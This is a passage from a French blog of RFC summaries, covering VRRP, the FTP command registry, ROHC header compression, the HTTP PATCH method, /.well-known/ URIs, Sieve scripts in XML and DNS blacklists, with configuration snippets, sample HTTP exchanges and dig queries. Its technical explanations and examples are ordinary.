La section 3 donne une vision générale du protocole VRRP. C'est donc un protocole d'élection. Les routeurs physiques communiquent par la diffusion restreinte sur le réseau local. Pour chaque routeur virtuel, identifié par un nombre nomé VRID (virtual router identifier), un maître est élu, et il sera le seul à router. Les routes des machines non-routeuses pointeront vers le routeur virtuel (cf. section 4.1 pour un schéma). Si on veut faire de la répartition de charge, il faut plusieurs routeurs virtuels, avec des VRID différents, cf. section 4.2 pour un bon exemple. Chaque routeur virtuel a une adresse MAC (il n'y a donc pas de problème avec les caches ARP).
Le maître diffuse périodiquement des messages VRRP advertisement. Si le maître n'en envoie plus, un remplaçant le... remplace, avec la même adresse IP (celle du routeur virtuel) et la même adresse MAC.
Le protocole est normalisé en section 5. Le format des paquets est en section 5.1 et 5.2. À noter :
224.0.0.18
et la IPv6 est
FF02:0:0:0:0:0:0:12
.La section 6 est consacréee à la machine à états du protocole. Dans l'état d'attente (Backup, section 6.4.2), le routeur VRRP écoute passivement les annonces du maître et ne répond pas aux requêtes ARP ou ND pour l'adresse IP du routeur virtuel, et ignore les paquets envoyés à cette adresse. Si le maître n'envoie plus d'annonces (par défaut, c'est après trois annonces non reçues), le routeur passe dans l'état Maître.
Inversement, le routeur dans l'état Maître (section 6.4.3), répond aux requêtes ARP et ND pour l'adresse IP du routeur virtuel, traite les paquets destinés à cette adresse, route les paquets qu'il reçoit et envoie des annonces périodiques pour manifester qu'il est toujours en service.
La section 7 décrit de manière très détaillée ce que doit faire un
routeur VRRP lorsqu'il reçoit ou émet les paquets VRRP. C'est là
qu'est spécifié le fait qu'un routeur maître doit utiliser l'adresse
MAC du routeur virtuel (et non pas celle du routeur physique)
lorsqu'il envoie les annonces de bon fonctionnement. C'est pour
permettre aux ponts et
commutateurs de trouver le routeur
physique. Cette adresse MAC est calculée (sections 7.3 et 12) et vaut
00-00-5E-00-01-{VRID}
en IPv4 et
00-00-5E-00-02-{VRID}
en IPv6.
Comme souvent sur un réseau, le diable est dans les détails pratiques. Ils font l'objet de la section 8. Ainsi, la section 8.1.2 rappelle que, puisque le maître utilise toujours comme adresse MAC celle du routeur virtuel présentée au paragraphe précédent, le client ne peut pas découvrir qu'un routeur physique en a remplacé un autre.
Parmi ces problèmes opérationnels, celui de la sécurité a droit à une section entière, la 9. En gros, VRRP n'a aucune sécurité. Les versions précédentes avaient tenté de mettre en place quelques mécanismes mais ils n'ont eu aucun succès et notre version 3 de VRRP les supprime. Notons que le problème n'est pas créé par VRRP : sur le réseau local, un méchant a énormément de moyens de perturber bien des protocoles indispensables, à commencer par DHCP et ARP. Par exemple, le méchant peut toujours répondre aux requêtes ARP pour l'adresse IP du routeur et lui voler ainsi le trafic. VRRP, où le méchant peut se faire désigner comme maître, n'aggrave donc pas tellement la situation.
VRRP a toujours souffert d'une polémique récurrente sur un brevet que détient Cisco et qui est apparemment effectivement appliqué (des développeurs VRRP ou bien de protocoles similaires ont, semble t-il, reçu des menaces des avocats de Cisco). L'existence de ce brevet n'est pas en soi contraire à la politique de l'IETF. En effet, celle-ci accepte des protocoles brevetés (il est difficile de faire autrement, compte-tenu du membre, et du caractère ridiculement futile, de la grande majorité des brevets logiciels) et demande juste que les prétentions soient publiques, ce qui est le cas ici. D'innombrables messages, souvent courroucés, ont été échangé sur les listes IETF au sujet de ce brevet. Cette situation a mené les développeurs d'OpenBSD à développer un protocole concurrent, CARP. On peut lire un point de vue (très outrancier) sur cette polémique dans l'interview de Ryan McBride. La réalité est plus complexe : les développeurs d'OpenBSD ont adopté une attitude d'affrontement immédiatement (« comme souvent », disent ceux qui connaissent les gens d'OpenBSD) et la bureaucratie IETF n'a pas fait preuve de bonne volonté et a réagi par un blocage complet. Aujourd'hui, les positions semblent hélas figées, au point que CARP, n'ayant pas eu de numéro de protocole officiel (en raison de leur refus de se plier aux procédures IANA, procédures d'ailleurs incorrectement décrites par McBride), a tout simplement pris celui de VRRP. Sur un réseau local, si on voit des paquets du protocole 112, il peut donc s'agir de CARP ou bien de VRRP.
En raison du brevet Cisco sur HSRP (le précurseur de VRRP), brevet dont la licence n'est apparemment disponible que selon les conditions RAND (bien insuffisantes pour du logiciel libre), il n'est pas évident de faire une mise en œuvre libre de VRRP. Il existe toutefois vrrpd et keepalived (aucun des deux ne semble intégrer IPv6).
La configuration de VRRP sur un routeur Juniper est documentée en Configuring VRRP and VRRP for IPv6 et Configure Basic VRRP Support. Cela donne, par exemple :
address 192.0.2.0/25 { vrrp-group 12 { virtual-address 192.0.2.65; priority 80; }
Notez que vrrp-group
est un terme purement
Juniper, c'est ce que le RFC appelle VRID (ici 12). Quant au concept de
priorité (ici 80, donc moins que la priorité par défaut), il est
décrit en
section 5.2.4. Avec vrrpd
, la même configuration
serait :
ip address 192.0.2.2 255.255.255.128 vrrp 12 ip 192.0.2.1 vrrp 12 priority 80
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : J. Klensin, A. Hoenes (TR-Sys)
Chemin des normes
Première rédaction de cet article le 11 mars 2010
C'est un très vieux projet qui voit enfin le jour avec ce RFC : documenter les différentes commandes qu'a accumulé le vénérable protocole FTP, après vingt-quatre ans d'existence sous sa forme actuelle (spécifiée par le RFC 959), et d'innombrables extensions ajoutées sans trop de coordination. FTP, qui a commencé en 1971, sous le nom de Data Transfer Protocol (RFC 171), reste très utilisé un peu partout et l'absence d'un registre de ses commandes et extensions pouvait entrainer des problèmes de portabilité.
Certaines des extensions suivaient le cadre du RFC 2389, qui normalisait un mécanisme commun, souvent désigné sous le nom de FEAT (FEATure). Mais ce n'est pas le cas de toutes. Désormais, RFC 2389 ou pas, toutes les commandes et extensions sont dans un registre unique.
Ce registre est décrit en section 2. Nommé FTP Commands and Extensions, il comprend notamment, pour chaque entrée, les informations suivantes :
LIST
(obtenir la liste des fichiers distants) ou PROT+
(cette dernière
étant, comme son nom l'indique, une modification de
PROT
, qui permet de spécifier le niveau de
sécurité requis pour un transfert, voir RFC 4217, section 9).MDTM
(date de modification d'un fichier, cf. RFC 3659) ou
hist
(fourre-tout pour les vieilles extensions, abandonnées). Si l'extension
suit le cadre du RFC 2389, pas de problème, ce nom est celui
donné en réponse à la commande FEAT
et il est
noté en MAJUSCULES. Sinon un nom est inventé et indiqué en minuscules.
Notre RFC 5797 contient en section 3 le registre
initial (on peut trouver la version actuelle en
ligne). Il contient plusieurs codes « pseudo-FEAT » (qui
n'utilisent pas réellement le système FEAT du RFC 2389 et
sont donc écrits en minuscules), comme base
(commandes obligatoires), secu
(extensions de
sécurité du RFC 2228), ou nat6
(extensions
pour aider avec les NAT ou avec
IPv6, dans le RFC 2428).
C'est ainsi que la commande AUTH
est
enregistrée comme AUTH+
pour tenir compte des
extensions TLS qui avaient été normalisées dans
le RFC 4217. On trouve aussi, par exemple, une commande
LANG
, normalisée dans le RFC 2640, et
qui permet d'internationaliser FTP, entre
autres en demandant des messages dans d'autres langues que l'anglais.
Les sections 2.4 et 2.5 donnent des explications sur la création du
registre initial, à partir des commandes de base (RFC 959),
toutes obligatoires (comme USER
, ou
RETR
, l'équivalent du GET
de
HTTP) ou
d'essais depuis abandonnés (par exemple par le RFC 1123).
Créer un registre est une chose, mais il faut le faire vivre ensuite : il est prévu que de nouvelles extensions à FTP soient enregistrées. Selon quels critères ? La section 2.3 (et la section 5) les formalise. L'idée est que le registre sert à éviter les conflits dans les codes utilisés. Il ne signifie pas que les extensions qu'il liste sont « approuvées » ou bien qu'elles représentent une « bonne idée ». Les vérifications faites avant l'enregistrement sont :
C'est uniquement si l'extension doit être marquée comme obligatoire qu'il faudra un RFC de statut « Chemin des normes ».
Ces règles sont donc une légère variante des règles « Norme nécessaire » et « Examen par un expert » du RFC 5226.
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : K. Sandlund, G. Pelletier (Ericsson), L-E. Jonsson
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF rohc
Première rédaction de cet article le 4 avril 2010
Quels que soient les progrès des technologies, il n'y a jamais assez de capacité. Même aujourd'hui, les vieux modems restent en service (y compris dans un pays riche, mais étendu, comme les États-Unis) et certaines technologies récentes offrent une capacité limitée (par exemple sur les téléphones mobiles). Il est donc utile de pouvoir comprimer les données et aussi les en-têtes des paquets émis, qui sont souvent très redondants, ouvrant ainsi de bonnes perspectives pour la compression. Plusieurs mécanismes de compression ont été inventés depuis les débuts de l'Internet et le projet ROHC (Robust Header Compression) a été créé pour mettre de l'ordre dans ces mécanismes, en développant un cadre commun. Ce RFC spécifie ce cadre.
La section 1 du RFC, l'introduction, donne quelques chiffres sur les gains qu'on peut tirer de la compression. Par exemple, si on utilise RTP (RFC 3550) pour transporter de la voix sur IP, il faudra transporter les 40 octets de l'en-tête (en IPv6), les 12 octets de l'en-tête UDP et les 8 octets de l'en-tête RTP (sans compter les en-têtes de la couche liaison). Ainsi, un paquet de données de 20 octets (une taille courante en voix sur IP) pourrait nécessiter 60 octets d'en-têtes TCP/IP.
Le RFC originel sur ROHC était le RFC 3095 qui incluait à la fois le cadre général et les profils de compression pour certains protocoles (un profil est un protocole de compression donné, adapté à un certain protocole). Une réforme générale de ROHC a eu lieu et il est désormais normalisé dans plusieurs RFC, notre RFC 5795 pour le cadre général, les RFC 4996 et RFC 5225 pour des profils pour, respectivement, TCP et les protocoles sans connexion comme IP ou UDP, le RFC 4997 pour le langage formel de définition des compressions, etc. (Le RFC 3095 n'est pas officiellement abandonné puisque le protocole est le même, il est juste mieux décrit.) Le cadre général de ROHC était initialement dans le RFC 4995, mais il comportait quelques bogues, corrigées par notre RFC qui remplace donc le RFC 4995.
La section 3 du RFC décrit les bases de la compression. Le principe est que le compresseur ne transmette pas certaines informations, car elles n'ont pas changé, ou bien peuvent être déduites automatiquement. Cela implique que le décompresseur puisse se souvenir de l'état de la compression, ce que ROHC nomme le contexte (la section 2.2 décrit toute la terminologie). Le maintien de ce contexte, même en présence de perturbations sur le réseau, est le principal défi de la compression. Sur des liens de mauvaise qualité (par exemple avec beaucoup de pertes), les mécanismes de compression pré-ROHC se comportaient plutôt mal (voir aussi la section 1).
Naturellement, rien n'est gratuit : le gain en capacité du réseau sera obtenu au détriment de la puissance de calcul, puisque compression et décompression nécessitent des calculs. La vitesse des processeurs des téléphones portables augmentant plus vite que leur capacité réseau, le choix de la compression semble raisonnable.
La section 3.2 rappelle l'histoire de la compression. Le premier grand travail dans le monde TCP/IP avait été la compression des en-têtes TCP par Van Jacobson en 1990 (RFC 1144), dont tous les utilisateurs de SLIP dans les années 1980 et 90 se souviennent (« Tu es sûr d'avoir activé la compression VJ ? »).
La section 4 décrit de manière relativement informelle le fonctionnement de ROHC, notamment (section
4.1), les différentes classes de changement dans les en-têtes, qui
permettent leur prédiction par le décompresseur. Ainsi, la classe
STATIC
décrit les informations qui ne changent
pas pendant la durée du flux de données (le numéro de version
IP par exemple), la
classe INFERRED
étant composée des en-têtes qui
peuvent se déduire ou se calculer à partir d'autres informations
(comme la taille du paquet).
La vraie définition de ROHC est en section 5. C'est là qu'on trouve, par exemple, la description du mécanisme de rétroaction (section 5.2.4) qui permet au décompresseur de tenir le compresseur au courant du succès (ou de l'échec) de son travail. Autre exemple (section 5.1.2), chaque canal de communication ROHC a, parmi ses paramètres, un identificateur du profil utilisé (la liste des identificateurs possibles est dans un registre IANA, voir également la section 8). La section 5.4 normalise ainsi le profil d'identificateur 0x0000, le profil qui ne fait rien, les profils « actifs » étant définis dans d'autres RFC.
Les changements par rapport au RFC 4995 sont
minimes mais peuvent affecter l'interopérabilité, puisqu'il y a
correction d'une bogue : l'encodage de la rétroaction (section
5.2.4.1) a été refait (le RFC 4995 avait
introduit une différence par rapport au RFC 3095) et une
nouvelle section 5.4.3 a été faite pour décrire l'initialisation du
contexte dans le cas où on utilise le profile
0x0000
(profil sans compression).
Des déploiements de ROHC sont déjà faits dans les téléphones portables. Il existe une implémentation libre, RObust Header Compression (ROHC) library (merci à Didier Barvaux pour cela), tirée d'une plus ancienne bibliothèque. La section 6 du RFC 3095 contient une excellent section sur les problèmes concrets de mise en œuvre de ROHC (section qui ne semble pas avoir été reprise dans les RFC plus récents).
Date de publication du RFC : Février 2010
Auteur(s) du RFC : J. Reschke (Greenbytes), J. Kunze (University of California)
Pour information
Première rédaction de cet article le 23 février 2010
Un ultra-court RFC pour dire simplement que l'IETF a abandonné tout travail sur la représentation en HTML de la norme de métadonnées Dublin Core (cf. RFC 5013).
Cette norme avait connu un RFC, le RFC 2731 mais, depuis, tout le travail d'évolution s'est fait au sein de la Dublin Core Metadata Initiative. C'est donc désormais sur le site Web de celle-ci qu'il faudra aller chercher des informations.
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : L. Dusseault (Linden Labs), J. Snell
Chemin des normes
Première rédaction de cet article le 19 mars 2010
Le célébrissime protocole HTTP (décrit dans
le RFC 7230 et suivants) prévoit plusieurs
méthodes pour interagir avec une
ressource, identifiée par un
URI. Dans le cas le plus connu, la ressource
est une page en HTML et la méthode utilisée est
GET
, pour récupérer ladite page. Mais HTTP
dispose d'autres méthodes, comme PUT
ou
DELETE
. Ce RFC 5789 ajoute à la
liste une méthode de modification partielle d'une ressource,
PATCH
.
Si GET
sert à récupérer une ressource (par
exemple un fichier), DELETE
à détruire une
ressource, et PUT
à installer une nouvelle
version toute neuve, PATCH
permettra de modifier
une ressource sans envoyer l'intégralité de la nouvelle
ressource. L'intérêt principal est de transmettre des mises à jour de
petite taille, au lieu de renvoyer une (peut-être très grosse)
ressource complète. Pour l'instant, je ne connais pas de mise en œuvre
disponible officiellement (voir à la fin de cet article pour quelques idées).
Il faut noter tout de suite que le format de la modification envoyée n'est pas spécifié : plusieurs formats seront possible, le client HTTP devra indiquer le format utilisé et espérer que le serveur l'accepte.
Pourquoi ne pas utiliser les méthodes existantes au lieu d'inventer
PATCH
? La section 1 répond à cette
question. PUT
remplace complètement la ressource
(et utiliser PUT
pour envoyer une modification
partielle, même si le serveur final comprend l'opération, sémerait la
confusion chez les relais) et
POST
est trop mal spécifié (il sert un peu de
méthode fourre-tout).
La nouvelle méthode est décrite en détail en section 2. Le client
envoie le patch et indique
l'URI de la ressource auquel il s'applique. Le
patch est une série d'instructions indiquant
comment modifier l'ancienne ressource pour atteindre l'objectif, la
nouvelle ressource. Il existe plusieurs langages pour de telles
instructions comme les patches
XML du RFC 5261, comme le
langage de patch traditionnel des
programmeurs (type non officiel
text/x-diff
), etc. Au fur et à mesure de leur
définition officielle, ces types seront enregistrés dans le registre.
Attention, comme rappelé à plusieurs reprises dans le RFC,
PATCH
n'est pas
idempotent (pas plus que
POST
, voir le RFC 7231,
section 9.1.2). La question a été vigoureusement
discutée à l'IETF lors de l'élaboration de ce
RFC et la conclusion générale était qu'assurer une telle sémantique
serait très coûteux et pas toujours nécessaire.
De même, PATCH
ne garantit pas forcément l'état final de
la ressource : avec certains langages de
patch, un patch, appliqué à une
version différente de la ressource, peut engendrer des résultats
inattendus (contrairement à PUT
). C'est au client HTTP de s'assurer qu'il utilise bien la
bonne version de la ressource. Comment ? Le plus simple est que le
client demande un Etag
(RFC 7232, section 2.3) par un GET
,
calcule les changements, avant
d'envoyer le PATCH
accompagné d'un en-tête
If-Match:
(RFC 7232,
section 3.1). Ainsi, le client sera sûr de partir d'un état connu de
la ressource. Cette méthode résout également le cas de deux clients
tentant de patcher à peu près
simultanément. (L'en-tête If-Unmodified-Since:
est
une alternative passable à If-Match:
.) Avec
certains langages de patch, ou bien pour certaines
opérations (par exemple ajouter une ligne à la fin d'un
journal), ces précautions ne sont pas
nécessaires.
En revanche, PATCH
garantit
l'atomicité. La ressource sera complètement
modifiée ou pas du tout (le logiciel patch
d'Unix ne garantit pas cela).
PATCH
ne permet de changer que le contenu de
la ressource, pas ses métadonnées. Si la requête
PATCH
a des en-têtes, ils décrivent la requête,
pas la ressource et des attributs comme le type
MIME ne peuvent donc pas
être modifiés via PATCH
.
HTTP permet de traverser des caches et
ceux-ci devraient évidemment invalider une ressource pour laquelle un
PATCH
est passé.
Voici l'exemple de PATCH
de la section 2.1,
utilisant un langage de patch imaginaire, indiquée
par le type MIME application/example
:
PATCH /file.txt HTTP/1.1 Host: www.example.com Content-Type: application/example If-Match: "e0023aa4e" Content-Length: 100 [Le patch, au format "application/example"]
Et son résultat (rappel : 204 indique un succès mais où la ressource n'est pas renvoyée, contrairement à 200) :
HTTP/1.1 204 No Content Content-Location: /file.txt ETag: "e0023aa4f"
Et si ça se passe mal ? La section 2.2 décrit les cas d'erreur possibles parmi lesquels :
If-Match:
, ce qui
est le cas si un autre processus a modifié la ressource entre temps :
409 ou 412 selon le cas,Pour interagir proprement avec les clients et les serveurs HTTP qui
ne connaissent pas PATCH
, la section 3 décrit
l'information qu'on peut envoyer en réponse à la commande
OPTIONS
, pour indiquer qu'on accepte
PATCH
:
OPTIONS /example/buddies.xml HTTP/1.1 Host: www.example.com [La réponse] HTTP/1.1 200 OK Allow: GET, PUT, POST, OPTIONS, HEAD, DELETE, PATCH Accept-Patch: application/example, text/example
D'autre part, le nouvel en-tête
Accept-Patch:
(section 3.1 et 4.1 pour le registre IANA) sert à préciser les
formats de patch acceptés.
Comme PATCH
modifie une ressource Web, il
n'est pas étonnant que la section de ce RFC 5789 sur la
sécurité soit assez détaillée. Plusieurs
problèmes peuvent se poser :
PUT
concernant
l'autorisation de l'utilisateur à modifier la
ressource. A priori, PATCH
ne sera pas ouvert au
public et nécessitera une
authentification.PUT
) qui peut être traité par
les techniques de requêtes conditionnelles
(If-Match:
...).PUT
ou POST
la présence de
contenus à problèmes, par exemple un
virus. PATCH
permettrait
de contourner ces contrôles en envoyant le contenu en plusieurs
fois. Mais le problème n'est pas très différent de celui posé par les
contenus envoyés en plusieurs fois avec Content-Range:
(le RFC cite aussi le cas des contenus comprimés, ce que je trouve moins
convaincant).Pour implémenter PATCH
, quelques idées :
Un autre article en français sur cette technologie : http://pierre.dureau.me/billet/2011-04-06-http-patch
.
Date de publication du RFC : Avril 2010
Auteur(s) du RFC : M. Nottingham, E. Hammer-Lahav
Chemin des normes
Première rédaction de cet article le 7 avril 2010
Dernière mise à jour le 7 octobre 2014
Plusieurs normes du Web s'appuient sur
l'existence d'un fichier à un endroit bien connu d'un
site. Les deux exemples les plus connus sont
robots.txt
et
favicon.ico
. Jusqu'à
présent, ces endroits « bien connus » étaient alloués sans schéma
central. Notre RFC propose de mettre tous ces fichiers « sous »
/.well-known/
pour construire des URI. (Il a depuis été
remplacé par un document plus récent, le RFC 8615.)
Prenons l'exemple le plus connu,
robots.txt
, fichier
stockant la politique d'autorisation des robots
qui fouillent le Web. Si un robot examine le
site Web http://www.example.org/
, il va tenter de
trouver ledit fichier en
http://www.example.org/robots.txt
. Même chose
pour, par exemple,
sitemap.xml
ou P3P (section 1 du RFC). Ce système a plusieurs
inconvénients, notamment le risque de collision entre deux noms
(puisqu'il n'y a pas de registre de ces noms) et, pire, le risque de
collision entre un de ces noms et une ressource normale du site. Cela
fait donc des années que plusieurs personnes réclamaient un
« rangement » de ces ressources bien connues. C'est désormais fait :
les ressources bien connues doivent dorénavant être préfixées de
/.well-known/
. Ainsi, si le protocole
d'autorisation des robots était normalisé aujourd'hui, on récupérerait
la politique d'autorisation en
http://www.example.org/.well-known/robots.txt
.
À noter que le RFC spécifie uniquement un préfixe pour le
chemin de la ressource, .well-known
n'est pas
forcément un répertoire sur le disque du serveur
(même si c'est une mise en œuvre possible).
Le RFC 5785 note aussi qu'il existe déjà des mécanismes de récupération de métadonnées par ressource (comme les en-têtes de HTTP ou les propriétés de WebDAV) mais que ces mécanismes sont perçus comme trop lourds pour remplacer la ressource unique située en un endroit bien connu.
La section 1.1, par contre, met en garde contre un usage tous
azimuts de .well-known
. Compte-tenu de l'architecture du Web, il ne s'agit pas d'un
mécanisme général de récupération d'information, juste d'une
optimisation quand, par exemple, il faut évaluer une politique avant
d'accéder à une ressource.
Le nom .well-known
a été choisi car il avait
peu de chances de rentrer en conflit avec un nom existant
(traditionnellement, sur Unix,
système d'exploitation le plus utilisé sur les
serveurs Web, les fichiers dont le nom commencent par un point ne sont
pas affichés). Une recherche sur Google avait
confirmé que ce nom était largement libre.
Bref, passons à la section 3 qui donne les détails syntaxiques. Le
préfixe est donc .well-known
, les noms en
« dessous » doivent être enregistrés (cf. section 5.1), et ils doivent
se conformer à la production
segment-nz
du RFC 3986 (en
clair, cela veut dire qu'ils doivent être une suite de caractères
ASCII imprimables, avec quelques exclusions
comme la barre oblique). À noter que l'effet
d'une requête GET /.well-known/
(tout court, sans
nom de ressource après), est indéfini (sur mon blog, cela donne ça ; devrais-je le configurer pour renvoyer
autre chose ? Sur Mastodon, ça donne 404.)
La section 5 décrit les conditions d'enregistrement des noms bien connus à l'IANA. Le registre était vide au début mais a été ensuite rempli par exemple par les métadonnées du RFC 6415. Y mettre des noms supplémentaires nécessite un examen par un expert et une norme publiée (pas forcément un RFC). Dans les termes du RFC 5226, ce sera Specification Required et Expert Review. Il y aura un mini-formulaire à remplir et hop, le nom bien connu sera enregistré. Plusieurs existent désormais.
Notez qu'il est très difficile de savoir combien de sites ont des
ressources /.well-known
. Bien sûr,
Google le sait, mais ne donne pas accès à cette
information (une requête inurl:/.well-known
ou
inurl:"/.well-known"
ignore hélas le point
initial et trouve donc surtout des faux positifs). Si on n'a pas accès
à la base de Google, il faudrait donc faire soi-même une mesure active
avec un client HTTP qui aille visiter de
nombreux sites.
Date de publication du RFC : Mars 2010
Auteur(s) du RFC : N. Freed, S. Vedam (Sun)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF sieve
Première rédaction de cet article le 11 mars 2010
Le langage de filtrage de courrier Sieve, normalisé dans le RFC 5228 a une syntaxe qui lui est propre et qui nécessite le développement d'outils spécifiques pour l'analyser. Or, il existe un format générique pour lequel d'innombrables outils ont été développés, XML. Ce RFC décrit donc un moyen de représenter les scripts Sieve en XML, ainsi que les règles de conversion de et vers le format traditionnel.
La syntaxe officielle de Sieve est celle d'un fichier texte, format simple et facilement traitable par des programmes. Mais la plupart des utilisateurs de Sieve, n'ayant pas d'expertise avec les langages formels, ne lisent et n'écrivent pas le Sieve dans ce format. Ils se servent d'outils spécialisés qui leur présentent le script sous une forme plus claire pour le non-spécialiste.
Le format XML étant très répandu, des facilités existent pour développer de tels outils, si la syntaxe d'entrée est du XML (section 1 du RFC). Comme ce n'est pas le cas de Sieve, notre RFC 5784 normalise une correspondance entre le format classique de Sieve et XML, permettant les conversions dans les deux sens. En outre, ce schéma XML ajoute la possibilité de donner des indications sur la présentation visuelle souhaitée, un point qui manquait dans la syntaxe Sieve classique (et qui était en général remplacé par des commentaires structurés spécifique à un logiciel d'édition).
La section 3 du RFC rappelle les particularités de la grammaire de Sieve : pour permettre les extensions futures, le langage n'a pas de mots réservés. La syntaxe est fixe (les extensions ne peuvent pas la modifier ou l'étendre). Toute extension peut ajouter des mots-clés. Et il existe déjà de très nombreuses extensions.
Un script Sieve est constitué de commandes, qui sont des actions ou des contrôles (mais la syntaxe ne fournit aucun moyen de distinguer les deux, seule la connaissance du mot-clé le permet). La commande est composée d'un mot-clé, suivi d'arguments, d'un test optionnel et d'un bloc de commandes optionnel. Voici quelques exemples :
stop; /* Un contrôle tout nu, sans argument ou bloc */ require "fileinto"; /* Un contrôle avec un seul argument */ if true {stop;} /* Un contrôle avec un test et un bloc de commandes */ discard; /* Une action toute nue, sans argument */ fileinto "folder"; /* Une action avec un argument */
La section 4 définit la représentation en XML. Les contrôles sont
représentés par l'élement <control>
et les
actions par l'élément <action>
. Les
exemples ci-dessus seraient donc, en XML :
<control name="stop"/> <control name="require"><str>fileinto</str></control> <control name="if"> <test name="true"/><control name="stop"/> </control> <action name="discard"/> <action name="fileinto"><str>folder</str></action>
Les directives permettant de contrôler la représentation visuelle
du script Sieve sont en section 4.1. Par exemple, l'élement
<displayblock>
permet de groupe ensemble
des commandes Sieve :
<displayblock name="File filter list mail" order="1" group="FILE_TO_FOLDER" enable="true"> <control name="if"> <test name="header"> <tag>is</tag> <str>Sender</str> <str>owner-ietf-mta-filters@imc.org</str> </test> <action name="fileinto"> <str>filter</str> </action> </control> </displayblock>
et l'élément <displaydata>
d'indiquer du
texte qui doit être montré à l'utilisateur lors de l'édition.
Pour permettre l'aller-retour dans les traductions de XML en Sieve, la section 4.2 spécifie des commentaires Sieve structurés permettant de garder l'information de présentation lors de la traduction. Ainsi, le code XML ci-dessus serait « sauvegardé » en :
/* [* name="File filter list mail" order="1" group="FILE_TO_FOLDER" enable="true" */ if header :is "Sender" "owner-ietf-mta-filters@imc.org" ...
où [* indique le début d'un displayblock
.
Afin de permettre la validation des scripts Sieve en XML, notre RFC
propose deux schémas, un en
langage W3C Schema (annexe B), l'autre en
Relax NG (annexe C). Prenons le schéma en RelaxNG (xmlsieve.rnc
) et testons un script :
% rnv xmlsieve.rnc test2.xml test2.xml
Parfait, il est bien valide.
L'annexe A contient un exemple complet d'un script Sieve (celui de
la section 9 du RFC 5228) en XML. Sa version XML est
disponible en rfc5228-sec9.xml
et sa version sieve en rfc5228-sec9.sieve
.
Voici autre un exemple de script Sieve en XML complet. Ce script jette
tous les messages qui n'ont pas de champ Date:
ou
de champ From:
, ainsi que les messages dont
l'expéditeur est foobar@example.org
:
<?xml version="1.0" encoding="utf-8"?> <sieve xmlns="urn:ietf:params:xml:ns:sieve"> <control name="if"> <test name="anyof"> <test name="not"> <test name="exists"> <list><str>From</str><str>Date</str></list> </test> </test> <test name="header"> <tag>contains</tag> <str>from</str> <str>foobar@example.org</str> </test> </test> <action name="discard"/> </control> </sieve>
Pour le traduire en script Sieve classique, on peut utiliser le programme
XSLT qui figure dans l'annexe D du RFC (et qui
est également disponible en xml2sieve.xslt
) :
% xsltproc xml2sieve.xslt test.xml if anyof ( not ( exists [ "From", "Date" ] ), header :contains "from" "foobar@example.org" ) { discard; }
En dehors de ce programme XSLT (qui ne va que dans un seul sens, depuis XML vers Sieve), je ne connais pas encore de mise en œuvre de ce RFC. Michel Sébastien me signale que JSieve semble avoir en projet une telle option.
Date de publication du RFC : Février 2010
Auteur(s) du RFC :
J. Levine (Taughannock)
Pour information
Première rédaction de cet article le 19 février 2010
Dernière mise à jour le 25 février 2010
Le spam est un tel problème pour le courrier électronique d'aujourd'hui, que de nombreuses techniques ont été développées pour le limiter. Comme toujours en sécurité informatique, il n'y a pas de solution idéale, juste des compromis entre trop de sécurité (et on bloque du courrier légitime) et pas assez (et on est noyés par le spam). Dans cet arsenal de techniques, une des plus courantes et des plus contestées est la liste noire, ou DNSBL (DNS black list). Bien que très largement déployée, elle n'avait jamais fait l'objet d'une documentation formelle, ce qui est désormais le cas, avec ce RFC.
Le principe d'une DNSBL est de distribuer, via le DNS, de l'information sur des machines (identifiées par leur adresse IP) qui ont envoyé du spam, ou bien sont susceptibles de le faire. Le problème n'est pas tant dans la technique utilisée (même si certains déplorent qu'on charge la barque du DNS en lui confiant de plus en plus de missions) que dans la gestion de ces listes. La grande majorité sont gérées de manière opaque, par des gens irresponsables, qui inscrivent ou désinscrivent un peu comme ça leur chante.
Ce RFC a été développé par le groupe de travail IRTF ASRG. L'auteur du RFC, John Levine, est un des porte-paroles les plus fréquents des « éradicateurs », ceux qui sont prêts à faire beaucoup de dégâts collatéraux pour lutter contre le spam. Le RFC a le statut de « pour information », utilisé pour documenter les techniques qui sont utilisées et donc intéressantes à connaître, mais qui ne sont pas forcément approuvées par l'IETF. Il a failli être sur le chemin des normes, à la demande de l'ASRG, mais en a été retiré suite à une virulente discussion sur la liste principale de l'IETF.
Le document commence (section 1) par un peu d'histoire. En 1997, la première liste noire, RBL (Real-time blackhole list) avait été créée par Paul Vixie et Dave Rand. Elle était distribuée avec BGP, le DNS n'est venu qu'après. (Tout le monde a un client DNS, ce qui n'est pas le cas de BGP.) Elle existe toujours sous le nom de MAPS même si elle n'a plus grand'chose à voir avec l'effort du début.
Le terme de RBL étant désormais une marque déposée, le RFC suggère de parler plutôt de DNSBL (DNS Black List) et, pour celles qui sont utilisées pour autoriser plutôt que pour interdire, de DNSWL (DNS White List). Pour parler des deux simultanément, le RFC utilise DNSxL. (Notons que la différence entre les deux est uniquement dans l'usage que le client en fait, cf. section 2.2.)
Ce RFC décrit le fonctionnement technique des DNSxL et le protocole avec lequel elles communiquent leurs résultats. Il ne parle pas des questions de la maintenance de ces listes, ni de leur politique d'inscription/désinscription, qui font l'objet d'un autre document, le RFC 6471.
La section 2 attaque la technique : une DNSxL est une zone du DNS,
où les noms sont formés à partir de la clé d'accès à la liste. Cette
clé est presque toujours une adresse IP (la section 3 traite des
listes de noms) et le mécanisme d'encodage est
inspiré de celui de
in-addr.arpa
(section
2.1) : on inverse les octets et on ajoute le nom de la liste. Ainsi,
pour chercher si 192.0.2.129
est listé dans la
DNSxL list.example.com
, on fera
une requête DNS pour
129.2.0.192.list.example.com
. Si
192.0.2.129
est listé, la zone doit contenir un
enregistrement de type A (normalement, « adresse », mais utilisé dans
un autre sens par les DNSxL) et peut contenir un enregistrement de
type TXT qui stockera un message qu'on pourra afficher à l'utilisateur
bloqué. Les données dans une DNBxL sont donc des données DNS
ordinaires et on peut donc y accéder par des clients DNS comme
dig, ici avec la liste sbl-xbl.spamhaus.org
:
% dig A 129.2.0.192.sbl-xbl.spamhaus.org ... ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 2015 ...
Ici, on récupère le code NXDOMAIN (No Such Domain) donc cette adresse IP n'est pas sur la liste. Essayons avec une adresse qui est sur la liste :
% dig 158.2.0.192.sbl-xbl.spamhaus.org ... ;; ANSWER SECTION: 158.2.0.192.sbl-xbl.spamhaus.org. 684 IN A 127.0.0.4
La valeur de l'enregistrement DNS est typiquement
127.0.0.2
mais d'autres sont possibles (section
2.3).
